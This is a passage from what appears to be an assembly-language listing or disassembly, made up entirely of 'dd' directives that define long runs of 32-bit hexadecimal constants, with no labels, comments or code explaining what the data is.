0F27B0009h dd 8435D337h, 49008FAEh, 0EC5EDD2Fh, 2130879h, 982E8B5Ch dd 0A5606353h, 0CC03A869h, 28853AF3h, 435AE020h, 724000B8h dd 58E14BECh, 0E244D2Ch, 56004441h, 5357AED6h, 0D83900FAh dd 68518376h, 0CA00AD3Eh, 1E15587Dh, 23AC3h, 0A0149574h dd 637C0CACh, 0F0444007h, 805973BFh, 114BD920h, 0EFE3A69h dd 552D098Eh, 78FF3C3Eh, 23725C21h, 9A0AFF0Eh, 0EB50DA40h dd 591FB525h, 6F00794Ah, 50CE8EDh, 7112F675h, 784D00F8h dd 7CA85DF0h, 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h dd 5DEEE456h, 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h dd 40E06BBAh, 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h dd 0A2EEF47Bh, 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh dd 8D6DD0AAh, 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h dd 2C03C766h, 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h dd 0E2EACBFh, 2014510h, 2D4C6A30h, 0B09FC32Bh, 132C0732h dd 121CF018h, 11C1D08h, 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h, 53620B72h dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh, 852120h dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h, 3B83FC80h dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h dd 24F50774h, 0F8FA80h, 0FC1390Dh, 920060FEh, 1D495057h dd 8CFE89h, 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh, 4910434Fh dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh dd 173936E9h, 95380C9h, 480F34C3h, 4CAE4C41h, 7794050Ch dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh dd 2AC31000h, 3B558F8h, 33C812A0h, 8FF05DBh, 57A9019Fh dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh dd 0AC09B93Fh, 9109B5h, 0F5EF123Eh, 8BF61EC4h, 0DD807E06h dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h dd 5E1D0064h, 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h dd 2833B32h, 3E92042Ch, 3B66A080h, 7127506h, 76C98500h dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h dd 0F01F84h, 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch dd 80792075h, 1757D054h, 11001993h, 0D2515303h, 0A04D14h dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h, 0C0223Dh dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h, 610D0705h dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h dd 522228DCh, 0A11392F0h, 0E6E55800h, 309419D1h, 21F53F59h dd 0D740A00h, 0ADD73C84h, 4300EC90h, 564B5E2Ah, 1C212C30h dd 0DE1D5960h, 40B51F5Bh, 792A4D6h, 2C037389h, 852E56DDh dd 352DA0FCh, 6B6C1EE9h, 0C0655D64h, 991257C2h, 0AB735B30h dd 6800C4E8h, 164E912Dh, 0AF6CB8h, 0C20B9557h, 0C050C194h dd 2DAD2201h, 49AC5C90h, 4021FD40h, 6C7002Ch, 2811D6D4h dd 9B03CB42h, 22431AFDh, 7AD998AAh, 4330093h, 3C60ABCh dd 0C9009901h, 6F8B29DEh, 75B9A609h, 116500A5h, 5B73A488h dd 1AE626C7h, 535D7401h, 41243EF9h, 0D794E8h, 8DD38549h dd 0E8CB3122h, 7B80BE1Eh, 4C7E04C0h, 1FBAE619h, 402F2BE1h dd 0F62E284Ah, 46FE2D42h, 52D6EE00h, 92B6E74Fh, 2AB3008Dh dd 1CB95D65h, 2E1F29C4h, 80E7438h, 4254C730h, 17AF9770h dd 3F59FA90h, 0EC00F7F0h, 0CF806A9h, 0E4008AF4h, 89FC7E5Fh dd 0F100F41h, 53A22F3Eh, 3B2C9FA0h, 8000550Eh, 0A9F752B9h dd 77138B2Ah, 1AA80796h, 0B008F49Fh, 4A95651Dh, 54855600h dd 5E2F412Eh, 6570E776h, 0AA810057h, 80744965h, 0BE0207F0h dd 0EB0F0263h, 0B24DE005h, 7F17F8C1h, 0EC880E11h, 29604276h dd 5245CC6h, 55455900h, 0EB3125B2h, 93AF00CAh, 5C7D1404h dd 0E1002CBCh, 100E2F71h, 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh dd 52000B44h, 7367650Eh, 0EE9320h, 0D3815A84h, 9B64C883h dd 71BF1800h, 17514794h, 93F20052h, 31D0811Fh, 0F80039D2h dd 41D7408h, 5275F7h, 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h dd 0B8495F01h, 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h dd 6F3ED5EFh, 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h dd 0F7A0D81Eh, 3D00A5D0h, 8A9018A9h, 7BC8FE04h, 6CF100F6h dd 59AD14B9h, 107D865h, 0C7D8051h, 0BBF27F50h, 5AEB0039h dd 1FE81A03h dd 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h dd 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h dd 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h, 16F2B8D8h dd 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah, 6741526h dd 5869A703h, 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h dd 10FA03B2h, 48A05D3Dh, 7ED20333h, 0C0800F40h, 704CA3Eh dd 5E0E8803h, 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h dd 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h, 0E800F83Eh dd 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h dd 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h dd 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h, 7DF9B1E7h dd 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh dd 84002065h, 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh dd 190507Fh, 3300A0FCh, 13156A8h, 200BE5h, 5C15D524h, 6051F8C6h dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch, 57003F59h dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh, 503089D9h dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h, 4B011029h dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh dd 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch, 52643155h dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh, 14020800h dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah, 0D65048A4h dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h, 6774292Eh dd 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h, 946330C3h dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h, 0E7C0F8CDh dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h, 86957Eh dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh, 4280E2Eh dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h, 0CD770006h dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h, 0BEA09A95h dd 74EB0D3h, 3F8624FEh, 0E72230D2h, 420F01B7h, 56A57h dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h, 65AD7AAAh dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h, 8084B14Ah dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h, 0CAB803F9h dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh, 16EC89h dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh dd 96C0A938h, 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h dd 0CEB8001Ah, 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h dd 9880C21Ch, 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h dd 0A446A00h, 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh dd 75138059h, 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h dd 791E3AFCh, 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h dd 708498A4h, 0FEF28Fh, 736B6FF2h, 8CAA5524h, 8E749001h dd 5E9219A7h, 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah dd 8F00CDC6h, 5F4452B8h, 190A00E5h, 0AFF49940h, 0CD3A7180h dd 0C2248012h, 826F8A62h, 796E1DA6h, 85550303h, 2EB1215Eh dd 0A580F056h, 10658100h, 29DF4131h, 3D8F774Fh, 46002FC6h dd 97A323Fh, 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h dd 53429AFBh, 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh dd 97103644h, 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h dd 4333CA9h, 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh dd 0C62D30h, 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h dd 136FCA5h, 75323C48h, 0C8180C24h, 0AE0F1499h, 0E0232091h dd 100EEB29h, 0F09004Bh, 12AFAA95h, 0AC38C21Fh, 47F20079h dd 4402652Ah, 407009F5h, 0DA8006F1h, 22F77ED2h, 1C1DE2FEh dd 0B3262D45h, 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh dd 28A97B00h, 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh dd 0F86594CAh, 0E8CEB09Ah, 0E6B89Dh, 9C14B218h, 2A0B24C3h dd 0B0790800h, 8DFC5309h, 7D4EA48h, 5BC3048Ah, 212450DDh dd 0D200AAB7h, 0DB94719Ch, 6F5F44Bh, 0B23A4BBh, 0C20098D1h dd 3E988ACBh, 802113h, 7426C084h, 87ABF417h, 31A9CF02h dd 8FA7FABFh, 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h dd 3F0044C4h dd 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch dd 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh dd 11010033h, 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh dd 0DAAD330Ch, 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h dd 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h dd 5B301E21h, 63FC09Eh, 56846B4Ah, 0D3A38B2Ch, 0D044CF07h dd 32EB6D70h, 40B20007h, 343F0937h, 26002D1Fh, 18465698h dd 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h dd 0D5CFAAh, 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h dd 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h, 0A2D3D2E2h dd 0E14F6Ah, 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h dd 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah dd 9E031BB8h, 79BF4A85h, 6425A0FBh, 0A60C0F17h, 758F9339h dd 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h dd 3465401h, 76007662h, 0E8028891h, 30D7B5Ah, 707E843Bh dd 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh dd 7A340047h, 0E804C8B9h, 7E3CC0ADh, 8770808Eh, 4DBEE269h dd 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h dd 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h dd 883F0848h, 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h dd 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh dd 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h dd 0E1731E82h, 85CA3Bh, 54862F07h, 109E6AE7h, 37B47E01h dd 4E05ACBEh, 0B16FE8C7h, 393B3827h, 7822F980h, 0BF8EC59h dd 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h dd 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h dd 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h dd 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h dd 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h dd 0E79117h, 324A8110h, 22C2098Fh, 0EFB8B000h, 0D6E22EFCh dd 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h dd 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh dd 16D1CD99h, 0CF27A9h, 0D3672D0Fh, 4B00246Ah, 0C73D9C15h dd 388712h, 0E1B5358Eh, 207B3AD8h, 3C5A101Ch, 0A14C2FCFh dd 0EA9E0942h, 0C732D8h, 14FB89B0h, 3CDDA53Ah, 0A75DD901h dd 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh, 7E0007F8h dd 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh dd 0C81E1479h, 47895C00h, 9298714Dh, 4ED51D64h, 7D2E40F1h dd 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h, 0DDCEC0ECh dd 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh, 487109h dd 22759166h, 0A9944487h, 15BD8900h, 79566AA8h, 3A430913h dd 5900DBB3h, 0A2580693h, 1D52FB00h, 9E947E59h, 1E3600F5h dd 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h dd 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh dd 0C4002940h, 24269DF7h, 8D00090Ah, 6B5867EBh, 0E106F0h dd 86C403AFh, 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h dd 0A2F49C92h, 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h dd 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h, 8C9C9ED0h dd 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h dd 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h dd 5FD5BD1h, 95796406h, 90740B9Dh, 11FEE7h, 2DAD3FB5h dd 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh dd 1354B0Bh, 9800FAC6h, 0C046D13h, 901C4E06h, 0A4AA0075h dd 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh dd 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h dd 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h, 0D10B1DACh dd 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h, 96554152h dd 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch dd 4E5142h, 0D55247C2h, 0DE9DA396h, 43DA4100h, 77A98F27h dd 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh, 13CA6Eh dd 588DBADh, 847D8351h, 76818700h, 0A19BCCB8h, 2D900089h dd 98F50CE6h, 0D7975F4h, 0BB167B00h, 310157FDh, 0C353064Bh dd 662230EBh, 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h dd 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h dd 0F2213EB5h, 34232CFFh, 0CD00F37h, 604485A7h, 31382433h dd 80522831h, 54E41940h, 87C99h, 144B2C11h, 7955A41Ah dd 74A17D07h, 8B9303E8h, 0F60AB024h, 0B35300DDh, 5010255Bh dd 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh, 0A7521AA1h dd 400D50Ch, 62BEE0DEh, 8153A0h, 438FE831h, 3325D16Bh dd 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h, 0B40A657Bh dd 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah, 7BA2EAh dd 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh, 472A7Ch dd 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h, 0C297BC0h dd 12440F9Fh, 0CC20F804h, 1A4626FFh, 0D9754F01h, 0A4DC4381h dd 7FF59AE8h, 1C2C072Ah, 30D6AB18h, 373FE828h, 1AC758h dd 0EC99EA24h, 5FA858h, 264C4442h, 5B2DAF53h, 0E094D500h dd 3B1C98C4h, 74F9A0BEh, 547300ECh, 3ED6AA20h, 5198E2C1h dd 5F184300h, 89652E7Ah, 545E0B24h, 360040D0h, 0E40594B1h dd 7E75D40Eh, 81CC3A1h, 4842C020h, 50EEA6h, 19D0DC7Ch dd 0D3245303h, 70463700h, 18C2A028h, 1834FA89h, 5A12FF82h dd 0FC00AF74h, 5F39DB31h, 0D8E2B0h, 7E1DFD94h, 7CF60542h dd 82000EE6h, 680AA21Ch, 974A18h, 40A5EB63h, 37148D3Eh dd 4BC23B00h, 0B2D6FB7Dh, 0EE7717h, 910C1867h, 0C7D7C6B7h dd 0AFC8A500h, 7F95A215h, 0B0040017h, 82D4BC92h, 1C007B29h dd 0E0E8515Fh, 0F303231h, 330A440Dh, 9B0C960h, 3B02010Bh dd 67D1C50h, 49DB608Bh, 9076010Ch, 78C3C129h, 7EB8304Ah dd 5A8C081Dh, 7F56CA40h, 1749BBh, 48DA1A32h, 71546CB9h dd 731F9E7Bh, 3D817256h, 75D13C89h, 868042BCh, 2C438890h dd 9C71BE97h, 4548CB00h, 58FDAD80h, 0CA1F2820h, 0E81201E8h dd 94684693h, 7034E4D8h, 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h dd 0F7C0302h, 6D3D7AF5h, 601F4DF8h, 0D2F13304h, 3F822D37h dd 88B3638Ah, 0FA092h, 2808FD16h, 0E29C5E48h, 0FE00187Ch dd 24B6BA8Ch, 4E99E1h, 3172403Bh, 20A621EEh, 9028A900h dd 8DFEF55Eh, 54BF001Eh, 51C4D9A0h, 4470AB0Fh, 1C4BFF00h dd 38BB5D9Dh, 0FEA7132h, 7607B91h, 149500D7h, 0AAD504F0h dd 0F7303Bh, 5BDE97D1h, 107EB8Bh, 5DC9CAD4h, 0E8871067h dd 0D50027E9h, 18D02325h, 2EDAED84h, 3F70A56Ah, 46FDC580h dd 8E4769EAh, 0C3A1F400h, 838006C6h, 5198FFh, 0EF37107Eh dd 0C4AA142Ah, 638A5D0Fh, 351E977Ch, 2FB42480h, 43D2D9h dd 0CED555Ah, 70571908h, 871D79FAh, 54CF2088h, 803C004Ah dd 638A551h, 58A2B891h, 89000B15h, 88BC461Eh, 0EA4E5690h dd 1877F2h, 0EB1AC0Ah, 772E6D41h, 706A6200h, 7899DF60h dd 14510010h, 22836350h dd 7D5C4161h, 73760E0Dh, 